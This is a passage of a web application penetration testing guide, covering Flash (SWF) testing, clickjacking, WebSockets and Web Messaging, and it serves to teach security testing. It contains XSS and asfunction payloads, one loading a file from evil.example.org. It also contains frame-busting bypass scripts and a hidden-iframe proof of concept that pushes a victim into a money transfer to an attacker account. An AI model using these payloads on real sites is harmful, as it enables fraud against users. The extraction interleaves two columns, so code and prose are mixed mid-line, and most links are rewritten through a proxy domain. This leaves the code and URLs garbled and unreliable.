height=”400” FlashVars=”var1=val1&var2=val2”> if (_root.language != undefined) {
</embed> Locale.DEFAULT_LANG = _root.language;
</object> }
198

Web Application Penetration Testing

teToURL function:
v5.load(Locale.DEFAULT_LANG + ‘/player_’ +
Locale.DEFAULT_LANG + ‘.xml’); var request:URLRequest = new URLRequest(FlashVarSup-
}; pliedURL);
navigateToURL(request);
The above code could be attacked by requesting:

http://victim/file.swf?language=http://evil.example.org/ma- Then this will mean it’s possible to call JavaScript in the same domain
licious.xml? where the movie is hosted by requesting:

http://victim/file.swf?URI=javascript:evilcode
Unsafe Methods
When an entry point is identified, the data it represents could be
getURL(‘javascript:evilcode’,’_self’);
used by unsafe methods. If the data is not filtered/validated using
the right regexp it could lead to some security issue.
The same when only some part of getURL is controlled:
Unsafe Methods since version r47 are:
Dom Injection with Flash JavaScript injection
loadVariables()
loadMovie() getUrl(‘javascript:function(‘+_root.arg+’))
getURL()
loadMovie()
loadMovieNum() asfunction:
FScrollPane.loadScrollContent() You can use the special asfunction protocol to cause the link to exe-
LoadVars.load cute an ActionScript function in a SWF file instead of opening a URL.
LoadVars.send Until release Flash Player 9 r48 asfunction could be used on every
XML.load ( ‘url’ ) method which has a URL as an argument. After that release, asfunc-
LoadVars.load ( ‘url’ ) tion was restricted to use within an HTML TextField.
Sound.loadSound( ‘url’ , isStreaming );
NetStream.play( ‘url’ ); This means that a tester could try to inject:

flash.external.ExternalInterface.call(_root.callback) asfunction:getURL,javascript:evilcode

htmlText
in every unsafe method like:

The Test loadMovie(_root.URL)


In order to exploit a vulnerability, the swf file should be hosted on
the victim’s host, and the techniques of reflected XSS must be used.
That is forcing the browser to load a pure swf file directly in the loca- by requesting:
tion bar (by redirection or social engineering) or by loading it through
an iframe from an evil page: http://victim/file.swf?URL=asfunction:getURL,javascript:evil-
code
<iframe src=’http://victim/path/to/file.swf’></iframe>

ExternalInterface:
This is because in this situation the browser will self-generate an ExternalInterface.call is a static method introduced by Adobe to im-
HTML page as if it were hosted by the victim host. prove player/browser interaction for both ActionScript 2.0 and Ac-
tionScript 3.0.
XSS
GetURL (AS2) / NavigateToURL (AS3): From a security point of view it could be abused when part of its ar-
The GetURL function in ActionScript 2.0 and NavigateToURL in Ac- gument could be controlled:
tionScript 3.0 lets the movie load a URI into the browser’s window.
flash.external.ExternalInterface.call(_root.callback);
So if an undefined variable is used as the first argument for getURL:

getURL(_root.URI,’_targetFrame’); the attack pattern for this kind of flaw should be something like
the following:

Or if a FlashVar is used as the parameter that is passed to a naviga- eval(evilcode)


199

Web Application Penetration Testing

since the internal JavaScript which is executed by the browser ification of the GUI in order to fool a user to insert credentials
will be something similar to: on a fake flash form. XSF could be used in the presence of Flash
HTML Injection or external SWF files when loadMovie* methods
eval(‘try { __flash__toXML(‘+__root.callback+’) ; } catch (e) { are used.
“<undefined/>”; }’)
Open redirectors
SWFs have the capability to navigate the browser. If the SWF
HTML Injection takes the destination in as a FlashVar, then the SWF may be used
TextField Objects can render minimal HTML by setting: as an open redirector. An open redirector is any piece of website
functionality on a trusted website that an attacker can use to re-
tf.html = true direct the end-user to a malicious website. These are frequently
tf.htmlText = ‘<tag>text</tag>’ used within phishing attacks. Similar to cross-site scripting, the
attack involves a user clicking on a malicious link.

So if some part of text could be controlled by the tester, an A tag In the Flash case, the malicious URL might look like:
or an IMG tag could be injected resulting in modifying the GUI or
XSS the browser. http://trusted.example.org/trusted.swf?getURLValue=http://
www.evil-spoofing-website.org/phishEndUsers.html
Some attack examples with A Tag:

• Direct XSS: <a href=’javascript:alert(123)’ > In the above example, an end-user might see the URL begins
with their favorite trusted website and click on it. The link would
• Call a function: <a href=’asfunction:function,arg’ > load the trusted SWF which takes the getURLValue and provides
it to an ActionScript browser navigation call:
• Call SWF public functions:
getURL(_root.getURLValue,”_self”);
<a href=’asfunction:_root.obj.function, arg’>

This would navigate the browser to the malicious URL provided


• Call native static as function: by the attacker. At this point, the phisher has successfully lev-
eraged the trusted the user has in trusted.example.org to trick
IMG tag could be used as well: the user into their malicious website. From their, they could
launch a 0-day, conduct spoofing of the original website, or any
<img src=’http://evil/evil.swf’ > other type of attack. SWFs may unintentionally be acting as an
<img src=’javascript:evilcode//.swf’ > (.swf is necessary to open-redirector on the website.
bypass flash player internal filter)
Developers should avoid taking full URLs as FlashVars. If they
only plan to navigate within their own website, then they should
Note: since release Flash Player 9.0.124.0 of Flash player XSS is use relative URLs or verify that the URL begins with a trusted
no longer exploitable, but GUI modification could still be accom- domain and protocol.
plished.
Attacks and Flash Player Version
Cross-Site Flashing Since May 2007, three new versions of Flash player were re-
Cross-Site Flashing (XSF) is a vulnerability which has a similar leased by Adobe. Every new version restricts some of the at-
impact as XSS. tacks previously described.
Attack asfunction ExternalInterface GetURL Html Injection
XSF Occurs when from different domains:
Player Version

• One Movie loads another Movie with loadMovie* functions or v9.0 r47/48 Yes Yes Yes Yes
other hacks and has access to the same sandbox or part of it v9.0 r115 No Yes Yes Yes
• XSF could also occurs when an HTML page uses JavaScript to v9.0 r124 No Yes Yes Partially
command an Adobe Flash movie, for example, by calling:
• GetVariable: access to flash public and static object from Result Expected:
JavaScript as a string. Cross-Site Scripting and Cross-Site Flashing are the expected
• SetVariable: set a static or public flash object to a new string results on a flawed SWF file.
value from JavaScript.
• Unexpected Browser to SWF communication could result in Tools
stealing data from the SWF application. • Adobe SWF Investigator: http://labs.adobe.com/technologies
swfinvestigator/
It could be performed by forcing a flawed SWF to load an exter-
nal evil flash file. This attack could result in XSS or in the mod- • SWFScan: http://h30499.www3.hp.com/t5/Following
200

Web Application Penetration Testing

the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba- and Javascript to force the victim to perform undesired actions,


p/5440167 such as clicking on a button that appears to perform another op-
eration. This is a “client side” security issue that affects a variety
• SWFIntruder: https://www.owasp.org/index.php of browsers and platforms.
Category:SWFIntruder
To carry out this type of technique the attacker has to create a
• Decompiler – Flare: http://www.nowrap.de/flare.html seemingly harmless web page that loads the target application
through the use of an iframe (suitably concealed through the use
• Compiler – MTASC: http://www.mtasc.org/ of CSS code). Once this is done, the attacker could induce the vic-
tim to interact with his fictitious web page by other means (like
• Disassembler – Flasm: http://flasm.sourceforge.net/ for example social engineering). Like others attacks, an usual
prerequisite is that the victim is authenticated against the at-
• Swfmill – Convert Swf to XML and vice versa: http://swfmill tacker’s target website.
org/

• Debugger Version of Flash Plugin/Player: http://www.adobe


com/support/flash/downloads.html

References
OWASP
• OWASP Flash Security Project: The OWASP Flash Security
project has even more references than what is listed below:
http://www.owasp.org/index.php/Category:OWASP_Flash_
Security_Project

Whitepapers
• Testing Flash Applications: A new attack vector for XSS
and XSFlashing: http://www.owasp.org/images/8/8c/
OWASPAppSec2007Milan_TestingFlashApplications.ppt

• Finding Vulnerabilities in Flash Applications: http://www


owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_ Once the victim is surfing on the fictitious web page, he thinks
FindingVulnsinFlashApps.ppt that he is interacting with the visible user interface, but effec-
tively he is performing actions on the hidden page. Since the hid-
• Adobe security updates with Flash Player 9,0,124,0 to reduce den page is an authentic page, the attacker can deceive users
cross-site attacks: http://www.adobe.com/devnet/ into performing actions which they never intended to perform
flashplayer/articles/flash_player9_security_update.html through an “ad hoc” positioning of the elements in the web page.

• Securing SWF Applications: http://www.adobe.com/devnet


flashplayer/articles/secure_swf_apps.html

• The Flash Player Development Center Security Section: http:/


www.adobe.com/devnet/flashplayer/security.html

• The Flash Player 10.0 Security Whitepaper: http://www


adobe.com/devnet/flashplayer/articles/flash_player10_
security_wp.html

Testing for Clickjacking (OTG-CLIENT-009)


Summary
“Clickjacking” (which is a subset of the “UI redressing”) is a ma- The power of this method is due to the fact that the actions
licious technique that consists of deceiving a web user into in- performed by the victim are originated from the authentic tar-
teracting (in most cases by clicking) with something different get web page (hidden but authentic). Consequently some of the
to what the user believes they are interacting with. This type of anti-CSRF protections, that are deployed by the developers to
attack, that can be used alone or in combination with other at- protect the web page from CSRF attacks, could be bypassed.
tacks, could potentially send unauthorized commands or reveal
confidential information while the victim is interacting on seem- How to Test
ingly harmless web pages. The term “Clickjacking” was coined by As mentioned above, this type of attack is often designed to al-
Jeremiah Grossman and Robert Hansen in 2008. low an attacker site to induce user’s actions on the target site
even if anti-CSRF tokens are being used. So it’s important, like
A Clickjacking attack uses seemingly innocuous features of HTML for the CSRF attack, to individuate web pages of the target site
201

Web Application Penetration Testing

that it take input from the user. the name of “Bust frame busting”. Some of this techniques are
browser-specific while others work across browsers.
We have to discover if the website that we are testing has no
protections against clickjacking attacks or, if the developers have Mobile website version
implemented some forms of protection, if these techniques are Mobile versions of the website are usually smaller and faster
liable to bypass. Once we know that the website is vulnerable, than the desktop ones, and they have to be less complex than
we can create a “proof of concept” to exploit the vulnerability. the main application. Mobile variants have often less protection
since there is the wrong assumption that an attacker could not
The first step to discover if a website is vulnerable, is to check attack an application by the smart phone. This is fundamentally
if the target web page could be loaded into an iframe. To do this wrong, because an attacker can fake the real origin given by a
you need to create a simple web page that includes a frame con- web browser, such that a non-mobile victim may be able to visit
taining the target web page. The HTML code to create this test- an application made for mobile users. From this assumption fol-
ing web page is displayed in the following snippet: lows that in some cases it is not necessary to use techniques to
evade frame busting when there are unprotected alternatives,
<html> which allow the use of same attack vectors.
<head>
<title>Clickjack test page</title> Double Framing
</head> Some frame busting techniques try to break frame by assigning
a value to the “parent.location” attribute in the “counter-action”
<body>
statement.
<p>Website is vulnerable to clickjacking!</p>
<iframe src=”http://www.target.site” width=”500” Such actions are, for example:
height=”500”></iframe>
</body> • self.parent.location = document.location
</html> • parent.location.href = self.location
• parent.location = self.location

Result Expected: If you can see both the text “Website is vulner- This method works well until the target page is framed by a sin-
able to clickjacking!” at the top of the page and your target web gle page. However, if the attacker encloses the target web page
page successfully loaded into the frame, then your site is vulner- in one frame which is nested in another one (a double frame),
able and has no type of protection against Clickjacking attacks. then trying to access to “parent.location” becomes a security
Now you can directly create a “proof of concept” to demonstrate violation in all popular browsers, due to the descendant frame
that an attacker could exploit this vulnerability. navigation policy. This security violation disables the counter-ac-
tion navigation.
Bypass Clickjacking protection:
In case in which you only see the target site or the text “Website Target site frame busting code (target site):
is vulnerable to clickjacking!” but nothing in the iframe this mean
that the target probably has some form of protection against if(top.location!=self.locaton) {
clickjacking. It’s important to note that this isn’t a guarantee that parent.location = self.location;
the page is totally immune to clickjacking. }

Methods to protect a web page from clickjacking can be divided


in two macro-categories: Attacker’s top frame (fictitious2.html):

• Client side protection: Frame Busting <iframe src=”fictitious.html”>


• Server side protection: X-Frame-Options

In some circumstances, every single type of defense could be by- Attacker’s fictitious sub-frame (fictitious.html):
passed. Following are presented the main methods of protection
from these attacks and techniques to bypass them. <iframe src=”http://target site”>

Client side protection: Frame Busting


The most common client side method, that has been developed Disabling javascript
to protect a web page from clickjacking, is called Frame Busting Since these type of client side protections relies on JavaScript
and it consists of a script in each page that should not be framed. frame busting code, if the victim has JavaScript disabled or it is
The aim of this technique is to prevent a site from functioning possible for an attacker to disable JavaScript code, the web page
when it is loaded inside a frame. will not have any protection mechanism against clickjacking.

The structure of frame busting code typically consists of a “con- There are three deactivation techniques that can be used with
ditional statement” and a “counter-action” statement. For this frames:
type of protection, there are some work arounds that fall under
202

Web Application Penetration Testing

• Restricted frames with Internet Explorer: Starting from dering the original frame busting attempt futile.
Internet Explorer 6, a frame can have the “security” attribute
that, if it is set to the value “restricted”, ensures that JavaScript Following an example code:
code, ActiveX controls, and re-directs to other sites do not 204 page:
work in the frame.
<?php
Example: header(“HTTP/1.1 204 No Content”);
?>
<iframe src=”http://target site” security=”restricted”></
iframe>

Attacker’s page:
• Sandbox attribute: with HTML5 there is a new attribute called
“sandbox”. It enables a set of restrictions on content loaded <script>
into the iframe. At this moment this attribute is only compatible var prevent_bust = 0;
whit Chrome and Safari. window.onbeforeunload = function() {
prevent_bust++;
Example:
};
setInterval(
<iframe src=”http://target site” sandbox></iframe>
function() {
if (prevent_bust > 0) {
• Design mode: Paul Stone showed a security issue concerning prevent_bust -= 2;
the “designMode” that can be turned on in the framing page (via window.top.location =
document.designMode), disabling JavaScript in top and sub- “http://attacker.site/204.php”;
frame. The design mode is currently implemented in Firefox }
and IE8. }, 1);
</script>
onBeforeUnload event <iframe src=”http://target site”>
The onBeforeUnload event could be used to evade frame busting
code. This event is called when the frame busting code wants to
destroy the iframe by loading the URL in the whole web page and XSS Filter
not only in the iframe. The handler function returns a string that Starting from Google Chrome 4.0 and from IE8 there were intro-
is prompted to the user asking confirm if he wants to leave the duced XSS filters to protect users from reflected XSS attacks. Nava
page. When this string is displayed to the user is likely to cancel and Lindsay have observed that these kind of filters can be used to
the navigation, defeating traget’s frame busting attempt. deactivate frame busting code by faking it as malicious code.

The attacker can use this attack by registering an unload event • IE8 XSS filter: this filter has visibility into all requests and
on the top page using the following example code: responses parameters flowing through the web browser and
it compares them to a set of regular expressions in order to look
<h1>www.fictitious.site</h1> for reflected XSS attempts. When the filter identifies a possible
<script> XSS attacks; it disable all inline scripts within the page, including
window.onbeforeunload = function() frame busting scripts (the same thing could be done with external
{ scripts). For this reason an attacker could induces a false positive
return “ Do you want to leave fictitious.site?”; by inserting the beginning of the frame busting script into a request
parameters.
}
</script>
Example: Target web page frame busting code:
<iframe src=”http://target site”>
if ( top != self )
{
The previous technique requires the user interaction but, the top.location=self.location;
same result, can be achieved without prompting the user. To }
do this the attacker have to automatically cancel the incoming
</script>
navigation request in an onBeforeUnload event handler by re-
peatedly submitting (for example every millisecond) a navigation
request to a web page that responds with a “HTTP/1.1 204 No
Content” header. Attacker code:

Since with this response the browser will do nothing, the result- <iframe src=”http://target site/?param=<script>if”>
ing of this operation is the flushing of the request pipeline, ren-
203

Web Application Penetration Testing

• Chrome 4.0 XSSAuditor filter: It has a little different behaviour responses and is used to mark web pages that shouldn’t be framed.
compared to IE8 XSS filter, in fact with this filter an attacker could This header can take the values DENY, SAMEORIGIN, ALLOW-FROM
deactivate a “script” by passing its code in a request parameter. origin, or non-standard ALLOWALL. Recommended value is DENY.
This enables the framing page to specifically target a single snippet
containing the frame busting code, leaving all the other codes The “X-FRAME-OPTIONS” is a very good solution, and was adopted
intact. by major browser, but also for this technique there are some limita-
tions that could lead in any case to exploit the clickjacking vulnera-
Example: Target web page frame busting code: bility.

<script> Browser compatibility


if ( top != self ) Since the “X-FRAME-OPTIONS” was introduced in 2009, this header
{ is not compatible with old browser. So every user that doesn’t have
top.location=self.location; an updated browser could be victim of clickjacking attack.
} Browser Lowest version
</script> Internet Explorer 8.0
Firefox (Gecko) 3.6.9 (1.9.2.9)
Opera 10.50
Attacker code:
Safari 4.0
<iframe src=”http://target site/?param=if(top+!%3D+- Chrome 4.1.249.1042
self)+%7B+top.location%3Dself.location%3B+%7D”>
Proxies
Web proxies are known for adding and stripping headers. In the case
Redefining location in which a web proxy strips the “X-FRAME-OPTIONS” header then
For several browser the “document.location” variable is an im- the site loses its framing protection.
mutable attribute. However, for some version of Internet Explorer
and Safari, it is possible to redefine this attribute. This fact can be Mobile website version
exploited to evade frame busting code. Also in this case, since the “X-FRAME-OPTIONS” has to be imple-
mented in every page of the website, the developers may have not
• Redefining location in IE7 and IE8: it is possible to redefine protected the mobile version of the website.
“location” as it is illustrated in the following example. By defining
“location” as a variable, any code that tries to read or to navigate Create a “proof of concept”
by assigning “top.location” will fail due to a security violation and so Once we have discovered that the site we are testing is vulnerable
the frame busting code is suspended. to clickjacking attack, we can proceed with the development of a
“proof of concept” to demonstrate the vulnerability. It is important
Example: to note that, as mentioned previously, these attacks can be used in
conjunction with other forms of attacks (for example CSRF attacks)
<script> and could lead to overcome anti-CSRF tokens. In this regard we can
var location = “xyz”; imagine that, for example, the target site allows to authenticated
</script> and authorized users to make a transfer of money to another ac-
<iframe src=”http://target site”></iframe> count.

Suppose that to execute the transfer the developers have planned


• Redefining location in Safari 4.0.4: To bust frame busting code three steps. In the first step the user fill a form with the destination
with “top.location” it is possible to bind “location” to a function account and the amount. In the second step, whenever the user sub-
via defineSetter (through window), so that an attempt to read or mits the form, is presented a summary page asking the user confir-
navigate to the “top.location” will fail. mation (like the one presented in the following picture).

Example:

<script>
window.defineSetter(“location” , function(){});
</script>
<iframe src=”http://target site”></iframe> Following a snippet of the code for the step 2:

//generate random anti CSRF token


Server side protection: X-Frame-Options $csrfToken = md5(uniqid(rand(), TRUE));
An alternative approach to client side frame busting code was imple-
mented by Microsoft and it consists of an header based defense. This
new “X-FRAME-OPTIONS” header is sent from the server on HTTP
204

Web Application Penetration Testing

a random token generated in the second step and accepting only


//set the token as in the session data variable passed via POST method. In this situation an attacker could
$_SESSION[‘antiCsrf’] = $csrfToken; forge a CSRF + Clickjacking attack to evade anti-CSRF protection and
force a victim to do a money transfer without her consent.
//Transfer form with the hidden field
$form = ‘ The target page for the attack is the second step of the money trans-
<form name=”transferForm” action=”confirm.php” fer procedure. Since the developers put the security controls only in
method=”POST”> the last step, thinking that this is secure enough, the attacker could
<div class=”box”> pass the account and amount parameters via GET method. (Note:
there is an advanced clickjacking attack that permits to force users
<h1>BANK XYZ - Confirm Transfer</h1>
to fill a form, so also in the case in which is required to fill a form, the
<p>
attack is feasible).
Do You want to confirm a transfer of <b>’.
$_REQUEST[‘amount’] .’ €</b> to account: <b>’. $_RE- The attacker’s page may look a simple and harmless web page like
QUEST[‘account’] .’</b> ? the one presented below:
</p>
<label>
<input type=”hidden”
name=”amount” value=”’ . $_REQUEST[‘amount’] . ‘” />
<input type=”hidden”
name=”account” value=”’ . $_REQUEST[‘account’] . ‘” />

But playing with the CSS opacity value we can see what is hidden
<input type=”hidden”
under a seemingly innocuous web page.
name=”antiCsrf” value=”’ . $csrfToken . ‘” />
<input type=”submit”
class=”button” value=”Transfer Money” />
</label>

</div>
</form>’;

In the last step are planned security controls and then, if is all ok, the
transfer is done. Following is presented a snippet of the code of the
last step (Note: in this example, for simplicity, there is no input saniti-
zation, but it has no relevance to block this type of attack):
The clickjacking code the create this page is presented below:
if( (!empty($_SESSION[‘antiCsrf’])) && (!empty($_POST[‘an-
tiCsrf’])) ) <html>
{ <head>
<title>Trusted web page</title>
//here we can suppose input sanitization code…
<style type=”text/css”><!--
//check the anti-CSRF token *{
if( ($_SESSION[‘antiCsrf’] == $_POST[‘antiCsrf’]) ) margin:0;
{ padding:0;
echo ‘<p> ‘. $_POST[‘amount’] .’ € suc- }
cessfully transfered to account: ‘. $_POST[‘account’] .’ </p>’; body {
} background:#ffffff;
}
} .button
else {
{ padding:5px;
echo ‘<p>Transfer KO</p>’; background:#6699CC;
} left:275px;
width:120px;
border: 1px solid
As you can see the code is protected from CSRF attack both with
205

Web Application Penetration Testing

Tools
}
• Context Information Security: “Clickjacking Tool” - http://www
#content { contextis.com/research/tools/clickjacking-tool/
width: 500px;
height: 500px; References
margin-top: 150px ; OWASP Resources
margin-left: 500px; • Clickjacking
}
#clickjacking Whitepapers
{ • Marcus Niemietz: “UI Redressing: Attacks and Countermeasures
position: absolute; Revisited” - http://ui-redressing.mniemietz.de/uiRedressing.pdf
• “Clickjacking” - https://en.wikipedia.org/wiki/Clickjacking
left: 172px;
• Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
top: 60px;
“Busting Frame Busting: a Study of Clickjacking Vulnerabilities on
filter: alpha(opaci- Popular Sites” - http://seclab.stanford.edu/websec/framebusting/
ty=0); framebust.pdf
opacity:0.0 • Paul Stone: “Next generation clickjacking” - https://media.blackhat
} com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-
//--></style> Next-Generation-Clickjacking-slides.pdf

</head> Testing WebSockets (OTG-CLIENT-010)
<body> Summary
<div id=”content”> Traditionally the HTTP protocol only allows one request/response
per TCP connection. Asynchronous JavaScript and XML (AJAX) al-
<h1>www.owasp.com</h1>
lows clients to send and receive data asynchronously (in the back-
<form action=”http://www.
ground without a page refresh) to the server, however, AJAX requires
owasp.com”> the client to initiate the requests and wait for the server responses
<input type=”submit” (half-duplex).
class=”button” value=”Click and go!”>
</form> HTML5 WebSockets allow the client/server to create a ‘full-duplex’
</div> (two-way) communication channels, allowing the client and server
to truly communicate asynchronously. WebSockets conduct their
<iframe id=”clickjacking” src=”http://localhost/ initial ‘upgrade’ handshake over HTTP and from then on all commu-
csrf/transfer.php?account=ATTACKER&amount=10000” nication is carried out over TCP channels by use of frames.
width=”500” height=”500” scrolling=”no” frameborder=”-
Origin
none”>
It is the server’s responsibility to verify the Origin header in the initial
</iframe>
HTTP WebSocket handshake. If the server does not validate the ori-
</body> gin header in the initial WebSocket handshake, the WebSocket server
</html> may accept connections from any origin. This could allow attackers
to communicate with the WebSocket server cross-domain allowing
With the help of CSS (note the #clickjacking block) we can mask and for Top 10 2013-A8-Cross-Site Request Forgery (CSRF) type issues.
suitably position the iframe in such a way as to match the buttons.
If the victim click on the button “Click and go!” the form is submitted Confidentiality and Integrity
and the transfer is completed. WebSockets can be used over unencrypted TCP or over encrypted
TLS. To use unencrypted WebSockets the ws:// URI scheme is used
(default port 80), to use encrypted (TLS) WebSockets the wss:// URI
scheme is used (default port 443). Look out for Top 10 2013-A6-Sen-
sitive Data Exposure type issues.

Authentication
WebSockets do not handle authentication, instead normal application
authentication mechanisms apply, such as cookies, HTTP Authenti-
cation or TLS authentication. Look out for Top 10 2013-A2-Broken
Authentication and Session Management type issues.

Authorization
WebSockets do not handle authorization, normal application autho-
The example presented uses only basic clickjacking technique, but rization mechanisms apply. Look out for Top 10 2013-A4-Insecure
with advanced technique is possible to force user filling form with Direct Object References and Top 10 2013-A7-Missing Function
values defined by the attacker. Level Access Control type issues.
206

Web Application Penetration Testing

Input Sanitization Example 2


As with any data originating from untrusted sources, the data should Using a WebSocket client (one can be found in the Tools section be-
be properly sanitised and encoded. Look out for Top 10 2013-A1-In- low) attempt to connect to the remote WebSocket server. If the con-
jection and Top 10 2013-A3-Cross-Site Scripting (XSS) type issues. nection is allowed the WebSocket server may not be checking the
WebSocket handshake’s origin header. Attempt to replay requests
How to Test previously intercepted to verify that cross-domain WebSocket com-
Black Box testing munication is possible.
1. Identify that the application is using WebSockets.
• Inspect the client-side source code for the ws:// or wss:// URI
scheme.
• Use Google Chrome’s Developer Tools to view the Network
WebSocket communication.
• Use OWASP Zed Attack Proxy (ZAP)’s WebSocket tab.

2. Origin.
• Using a WebSocket client (one can be found in the Tools section
below) attempt to connect to the remote WebSocket server. If a
connection is established the server may not be checking the origin
header of the WebSocket handshake.

3. Confidentiality and Integrity.


• Check that the WebSocket connection is using SSL to transport
sensitive information (wss://). Gray Box testing
• Check the SSL Implementation for security issues (Valid Certificate, Gray box testing is similar to black box testing. In gray box testing the
BEAST, CRIME, RC4, etc). Refer to the Testing for Weak SSL/ pen-tester has partial knowledge of the application. The only differ-
TLS Ciphers, Insufficient Transport Layer Protection (OTG- ence here is that you may have API documentation for the applica-
CRYPST-001) section of this guide. tion being tested which includes the expected WebSocket request
and responses.
4. Authentication. Tools
• WebSockets do not handle authentication, normal black box
authentication tests should be carried out. Refer to the • OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
Authentication Testing sections of this guide. php/OWASP_Zed_Attack_Proxy_Project

5. Authorization. ZAP is an easy to use integrated penetration testing tool for finding
• WebSockets do not handle authorization, normal black-box vulnerabilities in web applications. It is designed to be used by people
authorization tests should be carried out. Refer to the Authorization with a wide range of security experience and as such is ideal for de-
Testing sections of this guide. velopers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
6. Input Sanitization. you to find security vulnerabilities manually.
• Use OWASP Zed Attack Proxy (ZAP)’s WebSocket tab to replay
and fuzz WebSocket request and responses. Refer to the Testing • WebSocket Client - https://github.com/RandomStorm/scripts
for Data Validation sections of this guide. blob/master/WebSockets.html

Example 1 A WebSocket client that can be used to interact with a WebSocket


Once we have identified that the application is using WebSockets (as server.
described above) we can use the OWASP Zed Attack Proxy (ZAP) to
intercept the WebSocket request and responses. ZAP can then be • Google Chrome Simple WebSocket Client - https://chrome
used to replay and fuzz the WebSocket request/responses. google.com/webstore/detail/simple-websocket-client /
pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en

Construct custom Web Socket requests and handle responses to di-


rectly test your Web Socket services.
References

Whitepapers
• HTML5 Rocks - Introducing WebSockets: Bringing Sockets to
the Web: http://www.html5rocks.com/en/tutorials/websockets/
basics/
• W3C - The WebSocket API: http://dev.w3.org/html5/websockets/
• IETF - The WebSocket Protocol: https://tools.ietf.org/html
rfc6455
207

Web Application Penetration Testing

• Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH): Origin Security Concept


http://www.christian-schneider.net/ The origin is made up of a scheme, host name and port and identifies
CrossSiteWebSocketHijacking.html uniquely the domain sending or receiving the message, it does not
• Jussi-Pekka Erkkilä - WebSocket Security Analysis: http://juerkkil include the path or the fragment part of the url. For instance, https://
iki.fi/files/writings/websocket2012.pdf example.com/ will be considered different from http://example.com
• Robert Koch- On WebSockets in Penetration Testing: http://www because the schema in the first case is https and in the second http,
ub.tuwien.ac.at/dipl/2013/AC07815487.pdf same applies to web servers running in the same domain but differ-
• DigiNinja - OWASP ZAP and Web Sockets: http://www.digininja ent port.
org/blog/zap_web_sockets.php
From a security perspective we should check whether the code is fil-
Test Web Messaging (OTG-CLIENT-011) tering and processing messages from trusted domains only, normal-
Summary ly the best way to accomplish this is using a whitelist. Also within the
Web Messaging (also known as Cross Document Messaging) allows sending domain, we also want to make sure they are explicitly stat-
applications running on different domains to communicate in a se- ing the receiving domain and not ‘*’ as the second argument of post-
cure manner. Before the introduction of web messaging the com- Message() as this practice could introduce security concerns too,
munication of different origins (between iframes, tabs and windows) and could lead to, in the case of a redirection or if the origin changes
was restricted by the same origin policy and enforced by the brows- by other means, the website sending data to unknown hosts, and
er, however developers used multiple hacks in order to accomplish therefore, leaking confidential data to malicious servers.
these tasks, most of them were mainly insecure.
In the case the website failed to add security controls to restrict the
This restriction within the browser is in place to restrict a malicious domains or origins that can send messages to a website most likely
website to read confidential data from other iframes, tabs, etc, how- will introduce a security risk so it is very interesting part of the code
ever there are some legitimate cases where two trusted websites from a penetration testing point of view. We should scan the code
need to exchange data between each other. To meet this need Cross for message event listeners, and get the callback function from the
Document Messaging was introduced within he WHATWG HTML5 addEventListener method to further analysis as domains must be
draft specification and implemented in all major browsers. It enables always be verified prior data manipulation.
secure communication between multiple origins across iframes,
tabs and windows. event.data Input Validation
Input validation is also important, even though the website is ac-
The Messaging API introduced the postMessage() method, with cepting messages from trusted domains only, it needs to treat the
which plain-text messages can be sent cross-origin. It consists of data as external untrusted data and apply the same level of secu-
two parameters, message and domain. rity controls to it. We should analyze the code and look for insecure
methods, in particular if data is being evaluated via
There are some security concerns when using ‘*’ as the domain that
we discuss below. Then, in order to receive messages the receiving eval()
website needs to add a new event handler, and has the following at-
tributes:
or inserted into the DOM via the
• data: The content of the incoming message
• origin: The origin of the sender document innerHTML
• source: source window

An example: property as that would create a DOM-based XSS vulnerability.

Send message: How to Test


Black Box testing
iframe1.contentWindow.postMessage(“Hello world”,”http:// Black box testing for vulnerabilities on Web Messaging is not usually
www.example.com”); performed since access to the source code is always available as it
needs to be sent to the client to be executed.
Receive message:
Gray Box testing
window.addEventListener(“message”, handler, true); Manual testing needs to be conducted and the JavaScript code ana-
function handler(event) { lyzed looking for how Web Messaging is implemented. In particular
if(event.origin === ‘chat.example.com’) { we should be interested in how the website is restricting messages
/* process message (event.data) */ from untrusted domain and how the data is handled even for trusted
} else { domains. Below are some examples:
/* ignore messages from untrusted domains */
} Vulnerable code example:
} In this example, access is needed for every subdomain (www, chat,
forums, ...) within the owasp.org domain. The code is trying to accept
any domain ending on .owasp.org:
208

Web Application Penetration Testing

• OWASP HTML5 Security Cheat Sheet: https://www.owasp.org


window.addEventListener(“message”, callback, true); index.php/HTML5_Security_Cheat_Sheet

function callback(e) { Whitepapers


</b>if(e.origin.indexOf(“.owasp.org”)!=-1) {<b> • Web Messaging Specification: http://www.whatwg.org/specs
/* process message (e.data) */ web-apps/current-work/multipage/web-messaging.html
}
} Test Local Storage (OTG-CLIENT-012)
Summary
Local Storage also known as Web Storage or Offline Storage is a
